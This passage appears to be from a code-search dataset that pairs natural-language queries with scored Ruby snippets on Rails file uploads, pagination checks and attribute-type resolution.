'text/html', layout: false}\n format.json { render json: {files: @loaded_photos.map{|pic| pic.to_jq_upload} }, status: :created}\n end\n end", "title": "" }, { "docid": "d9bd47d8402f9298d806b0bbaf09a1c1", "score": "0.52131945", "text": "def create\n # At least one parameter must be given\n if params[:sha1] == nil and params[:file] == nil\n render :json => {}\n return\n end\n # Init variables\n # The SHA-1 value calculated by the client\n sha1 = params[:sha1]\n # Given SHA-1 hash value, ignore params[:file]\n uploaded_io = ( sha1 != nil ? nil : params[:file] )\n # Get current user\n user = current_user\n \n if sha1 == nil\n # Save file into temp folder\n # Make a temp dir\n require 'uuidtools'\n tmp_dir = UUIDTools::UUID.timestamp_create.to_s + \"-\" + UUIDTools::UUID.random_create.to_s\n tmp_dir = Rails.root.join 'public', 'uploads', 'tmp', tmp_dir\n Dir.mkdir tmp_dir\n # Save the uploaded file to temp dir\n tmp_file_name = [tmp_dir, \"uploaded.pdf\"].join(\"/\")\n tmp_file = File.open(tmp_file_name, 'wb')\n tmp_file.write(uploaded_io.read)\n tmp_file.close\n # Cal hash of doc\n hash = Paper.calculate_uuid tmp_file_name\n @paper = Paper.find_by_docid hash\n else\n @paper = Paper.find_by_sha1 sha1\n # Can't find a corresponding paper\n # This should not happen\n if @paper == nil\n render :json => {}\n return\n end\n end\n\n new_upload = false\n # If the paper has not uploaded to server before\n # Paper is the unique representation for a paper uplaoded\n # Metadata is a user's paper\n if @paper == nil\n new_upload = true\n # Get the metadata & text of file as JSON\n pdf2json = Rails.root.join 'app/tools/pdf2json'\n json_text = %x[#{pdf2json} #{tmp_file_name}] \n # Save JSON into a file\n tmp_text_file = [tmp_dir, \"text.json\"].join(\"/\")\n File.open(tmp_text_file, 'wb') do |file|\n file.write(json_text)\n end\n # Create a new paper record \n parsed_meta = ActiveSupport::JSON.decode json_text\n @paper = Paper.new(\n docid: hash,\n title: parsed_meta[\"title\"],\n authors: \"\", #parsed_meta[\"authors\"].join(\", \"),\n date: nil, #Date.parse(parsed_meta[\"date\"]),\n content: json_text, \n abstract: \"\", publication: \"\", convert: 0)\n if !@paper.save!\n render :json => '{\"error\":\"failed1\"}'\n return \n end\n # Move the tmp uploaded file to its permanent location\n #Dir.mkdir Rails.root.join 'public','uploads', hash[0..1] \n final_dir = Rails.root.join 'public','uploads', hash#hash[0..1], hash[2..-1]\n FileUtils.mv(tmp_dir, final_dir)\n # Convert PDF to PNG\n pdf2png = Rails.root.join 'app/tools/pdf2png'\n Process.spawn pdf2png.to_s, (final_dir.to_s + \"/uploaded.pdf\"), \"150\", final_dir.to_s\n end\n\n # If the user has uploaded the same PDF before\n if user.has_metadata? :docid=> hash\n @metadata = Metadata.find_by_docid hash\n if params[:tag] != nil\n user.attach_tag @metadata.id, params[:tag]\n end\n response = { \n :id => @metadata.id,\n :docid => @paper.docid, \n :title => @paper.title, \n :authors => @paper.authors, \n :date => @paper.date,\n :created_at => @metadata.created_at,\n :new => new_upload,\n :tag => params[:tag]\n }\n json = ActiveSupport::JSON.encode response\n render :json => json\n return \n # Else this is the first time that the user uploads the file\n else\n @metadata = Metadata.new(docid: hash,\n title: nil, publication: nil, \n authors: nil,date: nil, abstract:nil, \n paper_id: @paper.id)\n if @metadata.save\n # If specified tag for the uploaded doc\n if params[:tag] != nil\n user.attach_tag @metadata.id, params[:tag]\n end\n # Attach the special '__all' tag to any paper uploaded\n #user.attach_tag @metadata.id, '__all'\n response = { \n :id => @metadata.id,\n :docid => @paper.docid, \n :title => @paper.title, \n :authors => @paper.authors, \n :date => @paper.date,\n :created_at => @metadata.created_at,\n :new => new_upload,\n :tag => params[:tag]\n }\n json = ActiveSupport::JSON.encode response\n render :json => json\n # Add the metadata to the current user\n # (or the current user collect this paper)\n user.collect! @metadata\n #log = {:content=>user.name+\"上传了论文\", :paper_id=> @metadata.paper_id}\n #user.add_log! log\n else\n render :json => '{\"error\":\"failed3\"}'\n end\n end\n end", "title": "" }, { "docid": "52abeaf94628dd845e3677b67a086e32", "score": "0.52119863", "text": "def editor_upload_to_sys\n @old_photo = Photo.find(params[:photo_id])\n thisFile = File.new('/tmp/' + SecureRandom.urlsafe_base64 + '.jpg' , 'w+')\n if thisFile\n thisFile.syswrite( Base64.decode64(params[:imagedata]) )\n end\n\n @photo = Persona.where(:screen_name => params[:persona_id]).first.photos.new\n @photo.avatar = thisFile\n @photo.title = @old_photo.title.gsub(/.[jJ][pP][gG]/, '_edited')\n @photo.system_visible = true\n if @photo.save then\n flash[:warning] = 'File created'\n respond_to do |format|\n format.js\n format.html\n end\n else\n render :status => :internal_server_error\n end\n end", "title": "" }, { "docid": "a260f883d931099e692806f0c8a4a534", "score": "0.5208773", "text": "def perform_save\n api.file_save(self)\n end", "title": "" }, { "docid": "4a9b788e97b22a2c6aea055c5e3b5c05", "score": "0.52079165", "text": "def image_save_as_tiff_multipage(image_save_as_tiff_multipage_parameters, opts = {})\n data, _status_code, _headers = image_save_as_tiff_multipage_with_http_info(image_save_as_tiff_multipage_parameters, opts)\n data\n end", "title": "" }, { "docid": "bc87e724825bef873817bd695ddb55a2", "score": "0.5203167", "text": "def to_fileupload\n {\n id: id,\n name: filename,\n content_type: content_type,\n size: size,\n url: url,\n thumb_url: thumb_url\n }\n end", "title": "" } ]
d2ee8e4a216f05a7f48a6adf4156011c
Is there a next page of data?
[ { "docid": "b492c69df61b73c74eb4424195831d7f", "score": "0.0", "text": "def next?\n !token.nil?\n end", "title": "" } ]
[ { "docid": "9688258857fa5f74469a81016a435457", "score": "0.8129308", "text": "def has_next?\n 1 < self.page\n end", "title": "" }, { "docid": "23bda121844e22bccb04904fae6b1eca", "score": "0.804496", "text": "def next_page?\n if paginate_forward?\n # When paginating forward, if we managed to load one more record than\n # requested, this record will be available on the next page.\n records_plus_one.size > @page_size\n else\n # When paginating backward, if applying our cursor reduced the number\n # records returned, we know that the missing records will be on\n # subsequent pages.\n filtered_and_sorted_relation.reorder('').size < total\n end\n end", "title": "" }, { "docid": "44097195e495bd4a2aa224cb6f1e5b9b", "score": "0.799929", "text": "def has_next?\n next_page != nil\n end", "title": "" }, { "docid": "44097195e495bd4a2aa224cb6f1e5b9b", "score": "0.799929", "text": "def has_next?\n next_page != nil\n end", "title": "" }, { "docid": "af5513198132e9d027cf2512296ec381", "score": "0.7978683", "text": "def has_next_page\n if first\n object.length > first\n else\n !!before\n end\n end", "title": "" }, { "docid": "7502c208246a04be502a9fd0794ca026", "score": "0.7974729", "text": "def next?\n grpc.next_page?\n end", "title": "" }, { "docid": "3dc2730bd9c88b917095eb926de512e0", "score": "0.7957427", "text": "def next?\n grpc.next_page?\n end", "title": "" }, { "docid": "3dc2730bd9c88b917095eb926de512e0", "score": "0.7957427", "text": "def next?\n grpc.next_page?\n end", "title": "" }, { "docid": "3dc2730bd9c88b917095eb926de512e0", "score": "0.7957427", "text": "def next?\n grpc.next_page?\n end", "title": "" }, { "docid": "3dc2730bd9c88b917095eb926de512e0", "score": "0.7957427", "text": "def next?\n grpc.next_page?\n end", "title": "" }, { "docid": "1afc86c660bf0854e7039d7c08f28516", "score": "0.7940901", "text": "def has_next_page?\n !@raw_page['nextRecordsUrl'].nil?\n end", "title": "" }, { "docid": "7b6a546d81b66aae3f104de6e7f5bcd1", "score": "0.78980815", "text": "def has_next_page?\n page_iterator.next?\n end", "title": "" }, { "docid": "9290efceb8a53ea040f64c0e09536f58", "score": "0.78835475", "text": "def next?\n @page < @kat.pages - 1\n end", "title": "" }, { "docid": "c9112c8daf2d1fe2241a07604cb68d66", "score": "0.78576577", "text": "def has_next_page?\n internal_next_page != 0\n end", "title": "" }, { "docid": "3f6ede08f13f5eb04ae230fd5fe133fc", "score": "0.78427947", "text": "def has_next_page?\n page_iterator.has_next?\n end", "title": "" }, { "docid": "ec1f0410c730f70fbe249988e7e42ed2", "score": "0.7814291", "text": "def next?\n @number < @pager.number_of_pages\n end", "title": "" }, { "docid": "ec1f0410c730f70fbe249988e7e42ed2", "score": "0.7814291", "text": "def next?\n @number < @pager.number_of_pages\n end", "title": "" }, { "docid": "ec1f0410c730f70fbe249988e7e42ed2", "score": "0.7814291", "text": "def next?\n @number < @pager.number_of_pages\n end", "title": "" }, { "docid": "5db9804659b96b9a4e09f9081628d934", "score": "0.78072536", "text": "def next_page!\n return false unless next_page?\n\n @options[:page] += 1\n @options[:reader] = @options[:reader].class.new(@options)\n @json_data = @options[:reader].load_feed\n\n @total_entries = @json_data['total_entries']\n @total_pages = @json_data['total_pages']\n @per_page = @json_data['per_page']\n @current_page = @json_data['current_page'] \n\n return true\n end", "title": "" }, { "docid": "3f6407682a1f9a9e523192511eec25cb", "score": "0.77957284", "text": "def has_next_page?\n keys.respond_to?(:continuation) && !!keys.continuation\n end", "title": "" }, { "docid": "56e7b848dfdd3a20dd2719e904798fb1", "score": "0.7792851", "text": "def next?\n @page == @current_page + 1\n end", "title": "" }, { "docid": "ce74595ac85ac27211b9a9550633b250", "score": "0.77194417", "text": "def has_next_page?\n records\n\n if at_last_page?\n false\n elsif paginate_forward?\n @has_another_page\n elsif paginate_backward?\n true\n end\n end", "title": "" }, { "docid": "84589b153a2283854cbcb833d0c0eb0e", "score": "0.7703703", "text": "def next?\n !empty? && @pages[:current] < @pages[:count]\n end", "title": "" }, { "docid": "5ebd62026c755638d58e48f1330bc3dd", "score": "0.7683775", "text": "def next_page?\n page.zero? || page < total_pages\n end", "title": "" }, { "docid": "5ebd62026c755638d58e48f1330bc3dd", "score": "0.7683775", "text": "def next_page?\n page.zero? || page < total_pages\n end", "title": "" }, { "docid": "1a3879c653c287a0528d9aa007e76509", "score": "0.76696914", "text": "def next_page?(page)\n return !page[\"next\"].nil?\nend", "title": "" }, { "docid": "dc3edc3b5dea55bd3d16edabfac71ad6", "score": "0.76380455", "text": "def next_page?\n client.last_response.rels[:next] &&\n client.rate_limit.remaining > 0 &&\n client.last_response.data.last[:created_at] >= OpenSourceStats.start_time\n end", "title": "" }, { "docid": "f1e697f7661568b701f073c5d1e58ed4", "score": "0.7585055", "text": "def next_page?\n !self.next.nil?\n end", "title": "" }, { "docid": "8e3d10b4d304acdd4283be941dc1bacd", "score": "0.75813615", "text": "def next_page?\n !next_page_number.nil?\n end", "title": "" }, { "docid": "4b09cc2810f6545058d8ab78e56843c5", "score": "0.7552065", "text": "def has_next?\n @total_num > @num_loaded\n end", "title": "" }, { "docid": "a6c0bc6625039ddae4a06c4c965ce695", "score": "0.75475043", "text": "def has_next?\n supports_pagination? && !last?\n end", "title": "" }, { "docid": "924661be3351fda0a274e09880f90265", "score": "0.75168765", "text": "def has_next_page?\n @current_page < page_count\n end", "title": "" }, { "docid": "4a3292c7eab86dd2cca0967b6a376c51", "score": "0.75157595", "text": "def next_page?\n @current_page < @total_pages\n end", "title": "" }, { "docid": "01b290d7b62de2f3fb073d1a2048bcfe", "score": "0.7499106", "text": "def next_page?\n @page.next_page_token?\n end", "title": "" }, { "docid": "01b290d7b62de2f3fb073d1a2048bcfe", "score": "0.7499106", "text": "def next_page?\n @page.next_page_token?\n end", "title": "" }, { "docid": "99b7124284bebe7cb630f4630e5b4bd0", "score": "0.74824274", "text": "def more?\n http_response.links.key? :next\n end", "title": "" }, { "docid": "f85e580a9775beef68bd64cb02d9dc55", "score": "0.747211", "text": "def next_page?\n !!@_q_next_page\n end", "title": "" }, { "docid": "90306418686cfc1d86872e0412185d99", "score": "0.7436906", "text": "def next?\n ensure_paged_enum!\n @paged_enum.next_page?\n end", "title": "" }, { "docid": "34a11670981d0af3c5bbba2fd0e053dd", "score": "0.7426089", "text": "def next_page\n @dataset.next_page\n end", "title": "" }, { "docid": "bf26504105dc80020ee811bc382ce5ea", "score": "0.7410659", "text": "def next_page?\n fetch if @cache.nil?\n !!@cache[\"next_page\"]\n end", "title": "" }, { "docid": "78fc14a78276c56e26c43230889722fc", "score": "0.74088955", "text": "def next?\n !no_more?\n end", "title": "" }, { "docid": "547f2b3e1b3795ebb1dbf4272219c49d", "score": "0.7377131", "text": "def next_page?\n last_vrn.present?\n end", "title": "" }, { "docid": "366385cb6d810b13527db4b3e0affeee", "score": "0.73754746", "text": "def has_next_page\n return super unless Gitlab::Pagination::Keyset::Order.keyset_aware?(items)\n\n strong_memoize(:generic_keyset_pagination_has_next_page) do\n if before\n true\n elsif first\n case sliced_nodes\n when Array\n sliced_nodes.size > limit_value\n else\n sliced_nodes.limit(1).offset(limit_value).exists?\n end\n else\n false\n end\n end\n end", "title": "" }, { "docid": "d911483c980f95ae092f8ce887cb444f", "score": "0.7349775", "text": "def next_page? model\r\n model.next_page rescue false\r\n end", "title": "" }, { "docid": "a07e2350dc38b3e0c73740283cbbd1c3", "score": "0.73163754", "text": "def get_next_page page\n\n return false\nend", "title": "" }, { "docid": "a07e2350dc38b3e0c73740283cbbd1c3", "score": "0.73163754", "text": "def get_next_page page\n\n return false\nend", "title": "" }, { "docid": "a07e2350dc38b3e0c73740283cbbd1c3", "score": "0.73163754", "text": "def get_next_page page\n\n return false\nend", "title": "" }, { "docid": "a07e2350dc38b3e0c73740283cbbd1c3", "score": "0.73163754", "text": "def get_next_page page\n\n return false\nend", "title": "" }, { "docid": "39c2e6479559a55d407c26a19b4ddcc1", "score": "0.7275283", "text": "def next!\n update(read: true) ? next_page : false\n end", "title": "" }, { "docid": "3759d44f0dd6d34fdaf66703bd9b2b7b", "score": "0.7270492", "text": "def more_results_available\n begin\n next_page_link = @browser.link(:id, 'pagnNextLink').href\n if ! next_page_link.nil? && next_page_link.length > 0\n @next_page_link = next_page_link\n return true\n else\n return false\n end\n\n rescue Watir::Exception::UnknownObjectException\n return false\n end\n end", "title": "" }, { "docid": "136ade6dab53fb1df3dcc37d9eb43f77", "score": "0.726358", "text": "def valid_next_page? model\r\n model.next_page <= model.total_pages rescue nil\r\n end", "title": "" }, { "docid": "28dc95f1dced463aa3fbfd6d12c4790c", "score": "0.72558296", "text": "def next_page!\n return false unless next_page?\n @hashie = @client.get(*parse_url(nextPage))\n true\n end", "title": "" }, { "docid": "e48fd0d85e97fcb6f92fd519eba6b114", "score": "0.72449934", "text": "def has_next_page?\n\t\t!last?\n\tend", "title": "" }, { "docid": "658a777a0612c9c49df6a7d325c1269a", "score": "0.7210327", "text": "def next_page?\n self.current_page < self.last_page\n end", "title": "" }, { "docid": "f7b7ac77f5334828f30e53cdbd0ec447", "score": "0.7205401", "text": "def paginated?\n @next_partition_key ? true : false\n end", "title": "" }, { "docid": "2e983926d7e6c1a55c15780823eff68e", "score": "0.718117", "text": "def page?() page != 0 end", "title": "" }, { "docid": "7fae85edb7c7d1ce01600494647a7604", "score": "0.71790045", "text": "def has_next?\n true\n end", "title": "" }, { "docid": "ab1bd19276eaf4dd82babc15e5ccc32c", "score": "0.71694887", "text": "def next_page\n return if last_page?\n perform_request\n end", "title": "" }, { "docid": "ffb49b5516f3e7d7aea1a79148c392b1", "score": "0.7121412", "text": "def next_page?\n current_page.positive? && current_page < total_pages\n end", "title": "" }, { "docid": "5caa4bf0f01d435b31f8c7c6046f3cb0", "score": "0.7117715", "text": "def has_next()\n \n end", "title": "" }, { "docid": "f69eb0a0a21c6d4e78d5be6120d97358", "score": "0.70754737", "text": "def next_page?\n next_page_params.present?\n end", "title": "" }, { "docid": "78cb2cfeb3d36123782b65b63af0bc24", "score": "0.7039019", "text": "def next_page?\n self.twitter.next_page? && self.current_page < self.limit\n end", "title": "" }, { "docid": "2075eae6b0870a911baff88be2313322", "score": "0.70366544", "text": "def next\n @position += 1\n if !valid? and @next_page != nil\n request = Request.new({\n method: Request::GET,\n url: @next_page\n })\n @next_page = nil\n response = @client.process_request request\n parse response\n rewind\n end\n valid? ? current : false\n end", "title": "" }, { "docid": "25a063ed3783d4e07bed4db540ee2492", "score": "0.7025856", "text": "def has_next?\n @has_next\n end", "title": "" }, { "docid": "25a063ed3783d4e07bed4db540ee2492", "score": "0.7025856", "text": "def has_next?\n @has_next\n end", "title": "" }, { "docid": "0325788ca2c25350901c4316c3c0b6a2", "score": "0.6991882", "text": "def gather_pages?(response)\n response.headers.key?(:link) && response.headers[:link].include?('rel=\"next')\n end", "title": "" }, { "docid": "bcca091e61852b25156a14904bc5c60a", "score": "0.6989594", "text": "def next; @pager.page(@page+1); end", "title": "" }, { "docid": "216e0bb449fcd242d5089da71a8d05c7", "score": "0.69818354", "text": "def next_page\n detect { |link| link.rel == Link::Rel::NEXT }\n end", "title": "" }, { "docid": "af3524f4af21ff6b3e62c516c2a4ed58", "score": "0.697279", "text": "def has_next_page_list?\n return false if @packages.empty? or @min.nil?\n return @packages.last[:id] > @min\n end", "title": "" }, { "docid": "9e9c4113c802560ce695e080c7a76aa7", "score": "0.69630814", "text": "def next_page\n next_cursor\n end", "title": "" }, { "docid": "9796de0e9cc72745fb9636d3ec6cca95", "score": "0.6962084", "text": "def next_page; page(\"next\"); end", "title": "" }, { "docid": "9105ce335308db7750d4faf4ab792e23", "score": "0.69457924", "text": "def paginated?\n @next_table_name ? true : false\n end", "title": "" }, { "docid": "74c5d99af96d36fc1186262506bb3221", "score": "0.6918589", "text": "def has_next?\n !next_item.nil?\n end", "title": "" }, { "docid": "3d3b041493761ec408c70197cfb73847", "score": "0.68706673", "text": "def last_page?\n !out_of_range? && !@_has_next\n end", "title": "" }, { "docid": "40d01c3182dc9c7f68464c626c7bfe04", "score": "0.68382365", "text": "def has_next?\n\treturn @count != @length\n end", "title": "" }, { "docid": "8f30880b370e26bf7355d1c5b02f4d1c", "score": "0.68373585", "text": "def have_next_page?\n !@category_page.xpath('//*[@id=\"pagination_next_bottom\"]/a').empty?\n end", "title": "" }, { "docid": "aea350b4f207d503f89612c97b4b5f5a", "score": "0.6825899", "text": "def next_page\n @next_page ||= @client.get(@raw_page['nextRecordsUrl']).body if has_next_page?\n end", "title": "" }, { "docid": "670f757949056eb76afc659a8093ae9b", "score": "0.68191665", "text": "def has_next()\n @i < @a.size\n end", "title": "" }, { "docid": "1d80a17881b6b401a7557c9218fbbaf1", "score": "0.67922103", "text": "def next?()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "21f5ab13ef6b76b3ae78fcd82f88d57d", "score": "0.67913127", "text": "def has_next?\n !empty?\n end", "title": "" }, { "docid": "75737590fda5287b60c34ca4efae9c0e", "score": "0.6775574", "text": "def next_page\n return nil unless @is_next_url_str_valid\n @url_str = next_url_str\n @page = InWebPage.new(url_str)\n @page_count += 1\n\n # Prepare for getting the page which follows.\n @doc = REXML::Document.new(@page.to_s)\n resumption_token = nil\n @doc.root.elements.each(XPATH_NEXT_PAGE){|e| resumption_token = e.text}\n\n @query_str_next_page = \"resumptionToken=#{resumption_token}\"\n @is_next_url_str_valid = !resumption_token.nil?\n true\n end", "title": "" }, { "docid": "92a9154f85836701e49620e998299ee6", "score": "0.67748016", "text": "def next_page?\n page.has_xpath?(\".//*[@id='CVNavLinks_NS_']/table/tbody/tr/td[6]/a\")\n end", "title": "" }, { "docid": "9812b254c96bbbd73de442566ab80ea4", "score": "0.67692834", "text": "def first_page?\n page == 1\n end", "title": "" }, { "docid": "23bb64a5efa38e7396478bfa3254167f", "score": "0.6769135", "text": "def paged_response?\n # Has the string next_page_token field to be used in the next request as page_token to retrieve the next page.\n # Has only one repeated or map<string, ?> field containing a list of paginated resources.\n !response_next_page_token_field.nil? && !response_results_field.nil?\n end", "title": "" }, { "docid": "47288f9245989c5d54dfc415c41f8efd", "score": "0.67558676", "text": "def _next_page\n return false unless defined? @pager and @pager\n\n # go to the next page; break out if there is no next page\n if @pager.next?\n @pager = @pager.next\n @_content_for.clear\n @_bindings.clear\n else\n @pager.pager.reset\n @pager = nil\n return false\n end\n\n true\n end", "title": "" }, { "docid": "a762f0b9e7c69b2b2f70af23d3676bf5", "score": "0.6755033", "text": "def next?\n self.action == :next\n end", "title": "" }, { "docid": "378dfdcdd23071a1f61abd935f68191a", "score": "0.67404073", "text": "def has_more_results?\n\t\treturn true unless self.done_paging?\n\tend", "title": "" }, { "docid": "5db0b420b0b08faf9d16c288f3c5fe3e", "score": "0.6735252", "text": "def first_page?\n @page == 1\n end", "title": "" }, { "docid": "5db0b420b0b08faf9d16c288f3c5fe3e", "score": "0.6735252", "text": "def first_page?\n @page == 1\n end", "title": "" }, { "docid": "4663c80b79653eb3c56662842b93eef5", "score": "0.6733012", "text": "def next?\n\t return (not @next.nil?)\n\tend", "title": "" }, { "docid": "4663c80b79653eb3c56662842b93eef5", "score": "0.6733012", "text": "def next?\n\t return (not @next.nil?)\n\tend", "title": "" }, { "docid": "4663c80b79653eb3c56662842b93eef5", "score": "0.6733012", "text": "def next?\n\t return (not @next.nil?)\n\tend", "title": "" }, { "docid": "4663c80b79653eb3c56662842b93eef5", "score": "0.6733012", "text": "def next?\n\t return (not @next.nil?)\n\tend", "title": "" }, { "docid": "6dd17d78577b888ba23fda1790e6ac6e", "score": "0.67157453", "text": "def has_next?\n !@next.nil?\n end", "title": "" }, { "docid": "c3aeb6c8f36cb78ee9b284e95ab2da72", "score": "0.6715105", "text": "def next_page\n fail NotImplementedError\n end", "title": "" }, { "docid": "b9c67c27c6b14da559ae1b99c30333b6", "score": "0.6706715", "text": "def next?\n @slice == @options[:current_slice] + 1\n end", "title": "" }, { "docid": "a66a6644c65c6bfa1222244d9519a9e1", "score": "0.6700609", "text": "def has_more?\n !@next_link.nil?\n end", "title": "" }, { "docid": "06bc3b09bc26ecc2576121ae2b86a36c", "score": "0.6698083", "text": "def next\n @pager.page(@number + 1) if next?\n end", "title": "" }, { "docid": "06bc3b09bc26ecc2576121ae2b86a36c", "score": "0.6698083", "text": "def next\n @pager.page(@number + 1) if next?\n end", "title": "" }, { "docid": "6a37fac76d98e069ca2d36800f8c6e03", "score": "0.66938925", "text": "def first_page?\r\n return @page == 1\r\n end", "title": "" }, { "docid": "3fd1be813bc11a5b5d84676578f7b3fc", "score": "0.6680767", "text": "def next_page(resp)\n offset = resp.headers['X-Tracker-Pagination-Offset'].to_i\n returned = resp.headers['X-Tracker-Pagination-Returned'].to_i\n total = resp.headers['X-Tracker-Pagination-Total'].to_i\n\n offset + returned >= total ? -1 : offset + returned\n end", "title": "" } ]
46e11626f3da70a677b726e6af9f0f14
Looks for any attributes that have types given as strings, such as "Test", and resolves these names to an object if possible
[ { "docid": "64bc64908f3b8e17d33de87cdea9f83f", "score": "0.6813418", "text": "def resolve_attributes()\n types = get_all_model_elements.select{ |k,v| (v.class == JClass) || (v.class == JEnumeration) }\n attrs = get_all_model_elements.select{ |k,v| (v.class == JAttribute) && (v.type.class == String) }\n attrs.each { |k,v| v.type = types[ v.type ] if types[ v.type ] } \n end", "title": "" } ]
[ { "docid": "3cd8fc4787d241c785112ade9145d98e", "score": "0.69995093", "text": "def match_names_of_attributes_with_their_types names_of_attributes, types_of_attributes\n for i in 0..(names_of_attributes.size - 1)\n @names_and_types_of_attributes[names_of_attributes[i]] = types_of_attributes[i]\n end\n end", "title": "" }, { "docid": "b5dbb174ade8a1e4456bbe1b5aeb9f90", "score": "0.5928063", "text": "def type_for_attribute(attr_name, &block); end", "title": "" }, { "docid": "a223efe24c8a0d2a6013be95138752f5", "score": "0.5926846", "text": "def get_attribute_type_by_name attribute_name\n return @names_and_types_of_attributes[attribute_name]\n end", "title": "" }, { "docid": "1dd2fa6eaf6612342819e64322560f8d", "score": "0.5890027", "text": "def parse(str)\n\t\t\t\n\t\t\t# it's okay if the argument can't\n\t\t\t# be matched against (it might be\n\t\t\t# a nil, or some other junk). just\n\t\t\t# return nil (no matches)\n\t\t\treturn nil unless\\\n\t\t\t\tstr.respond_to? :match\n\t\t\t\n\t\t\tparsed = []\n\t\t\t\n\t\t\t# iterate this model's fuzzable properties, and further extract\n\t\t\t# _str_ via the Type class of each one. note that Type.extract!\n\t\t\t# is destructive, so _str_ is changing throughout this iterator\n\t\t\tself.class.fuzzables.each do |prop|\n\t\t\t\tunless(extracted = prop.type.extract!(str)).nil?\n\t\t\t\t\tattribute_set prop.name, extracted\n\t\t\t\t\tparsed.push(prop)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\t# store the remains of the parsed data,\n\t\t\t# so it can be presented to the end user\n\t\t\t@unparsed = str.dup\n\t\t\t\n\t\t\t# return an array of the properties that were\n\t\t\t# updated, or nil (NOT empty array!) if none were\n\t\t\t(parsed.empty?) ? nil : parsed\n\t\tend", "title": "" }, { "docid": "cb995e189d9b346008074305028fd7c5", "score": "0.5801109", "text": "def normalize!\n if @name.kind_of? String\n @name = @name.to_sym\n end\n\n if Utils::Object.kind_of_any?(@type, [String, Symbol])\n @type = __normalize_type\n end\n end", "title": "" }, { "docid": "0ce0c05b04d68f702f10c1ab62569343", "score": "0.5741005", "text": "def set_type_from(s)\n\t\t\treturn unless s.include?('-')\n\t\t\tt = s.split('-')[0].to_sym\n\t\t\tif t==:icon || t==:text then t=:symbol end\n\t\t\tif @type && @type!=t then raise \"Attribute #{s} conflicts with deduced type #{@type} in layer #{@kv[:id]}\" end\n\t\t\t@type=t\n\t\tend", "title": "" }, { "docid": "0dca5766e665befe156ee55f4df1a507", "score": "0.5687068", "text": "def _attribute_type(attribute_name)\n attributes[attribute_name][:type] || Object\n end", "title": "" }, { "docid": "0dca5766e665befe156ee55f4df1a507", "score": "0.5687068", "text": "def _attribute_type(attribute_name)\n attributes[attribute_name][:type] || Object\n end", "title": "" }, { "docid": "ddf4fe3e98d5355988eb1fe9d7d2c88f", "score": "0.5685234", "text": "def attr_search(*attributes) \n options = attributes.last.is_a?(Hash) ? attributes.pop : {}\n type = (options.fetch(:type) { :simple }).to_sym\n accepted_keys = [:simple] + self.reflections.keys.map(&:to_sym)\n \n unless accepted_keys.include?(type.to_sym)\n raise ArgumentError, 'incorect type given'\n end\n\n search_attributes_hash!(attributes, type, search_attributes)\n end", "title": "" }, { "docid": "ac31b3413d3624ca7ba77cbaefc0703f", "score": "0.5659703", "text": "def method_missing(name, *args)\n klass, attribute = extract_class_and_attributes_from name\n if klass.class == String || attribute.blank?\n super(name, *args)\n else\n find_or_create_factory(klass, attribute, *args)\n end\n end", "title": "" }, { "docid": "366892c2381d555927045fa259a73a28", "score": "0.56570256", "text": "def sanitize_type_attribute(string)\n string =~ /^[a-zA-Z]\\w*/\n Regexp.last_match.to_s\n end", "title": "" }, { "docid": "43660902d869a46181a126fda23b6191", "score": "0.56158066", "text": "def object_for_type_and_name(type, name)\n nil_if_empty objects.select { |object| object.last['isa'] == type and object.last['name'] == name }.flatten\n end", "title": "" }, { "docid": "cea10299ceb7ba2232efa2d3c91b55ae", "score": "0.56046987", "text": "def attribute?() @type.downcase.start_with?( 'attribute' ); end", "title": "" }, { "docid": "89ead2ee01e4efc12330798ad56544cf", "score": "0.5591518", "text": "def resolve_types!\n params_with(:type).each do |param, type|\n val = self[param]\n case\n when val.nil? then val = nil\n when (type == :boolean) then\n if ['false', false, 0, '0', ''].include?(val) then val = false else val = true end\n when (type == Array)\n if val.is_a?(String) then val = val.split(\",\") rescue nil ; end\n # for all following types, map blank/empty to nil\n when (val.respond_to?(:empty?) && val.empty?) then val = nil\n when (type == :filename) then val = File.expand_path(val)\n when (type == Float) then val = val.to_f\n when (type == Integer) then val = val.to_i\n when (type == Symbol) then val = val.to_s.to_sym rescue nil\n when (type == Regexp) then val = Regexp.new(val) rescue nil\n when ((val.to_s == 'now') && (type == Date)) then val = Date.today\n when ((val.to_s == 'now') && (type == DateTime)) then val = DateTime.now\n when ((val.to_s == 'now') && (type == Time)) then val = Time.now\n when [Date, Time, DateTime].include?(type) then val = type.parse(val) rescue nil\n else raise ArgumentError, \"Unknown type #{type} given\"\n end\n self[param] = val\n end\n end", "title": "" }, { "docid": "3633cd1efa1bae564fe360660613214a", "score": "0.55858463", "text": "def type\n attributes[:type].to_sym unless attributes[:type].blank?\n end", "title": "" }, { "docid": "508d4ed41ddc104714c638701702f22a", "score": "0.5561822", "text": "def parse_attribute_list(str, opts)\n return if str.strip.empty? || str.strip == ':'\n attrs = str.scan(ALD_TYPE_ANY)\n attrs.each do |key, sep, val, ref, id_and_or_class, _, _|\n if ref\n (opts[:refs] ||= []) << ref\n elsif id_and_or_class\n id_and_or_class.scan(ALD_TYPE_ID_OR_CLASS).each do |id_attr, class_attr|\n if class_attr\n opts[IAL_CLASS_ATTR] = \"#{opts[IAL_CLASS_ATTR]} #{class_attr}\".lstrip\n else\n opts['id'] = id_attr\n end\n end\n else\n val.gsub!(/\\\\(\\}|#{sep})/, \"\\\\1\")\n opts[key] = val\n end\n end\n warning(\"No or invalid attributes found in IAL/ALD content: #{str}\") if attrs.empty?\n end", "title": "" }, { "docid": "5937435addc0a1e50b1728a44ac288f1", "score": "0.5493087", "text": "def attribute_type(attr_name)\n type = klass.attribute_type(attr_name)\n\n if type == :unknown\n # See if we can deduce it by looking at the data\n data = attribute(attr_name)\n class_sym = data.class.to_s.underscore.to_sym\n if class_sym == :false_class || class_sym == :true_class\n type = :boolean\n elsif class_sym == :nil_class\n type = :unknown\n elsif class_sym == :fixnum\n type = :integer\n elsif class_sym == :big_decimal\n type = :decimal\n elsif class_sym == :\"active_support/time_with_zone\"\n type = :datetime\n else\n # This should prevent any classes from being skipped, but we may not have an exhaustive list yet.\n type = class_sym\n end\n end\n\n return type\n end", "title": "" }, { "docid": "350c0b7e2a9afa2c7e47a123fbcc3688", "score": "0.54781723", "text": "def infer_string_types\n collect do |obj| obj.to_s.infer_type end\n end", "title": "" }, { "docid": "e2c4d04fefd989ac8ab3638b8b79047d", "score": "0.5453765", "text": "def amalgamate_attributes(strs = {}, syms = {})\n syms.merge(strs).each_with_object({}) do |(key, value), attributes|\n param = if key.to_s.match?(SCREAMING_SNAKE_CASED)\n key.to_s.downcase.to_sym\n elsif 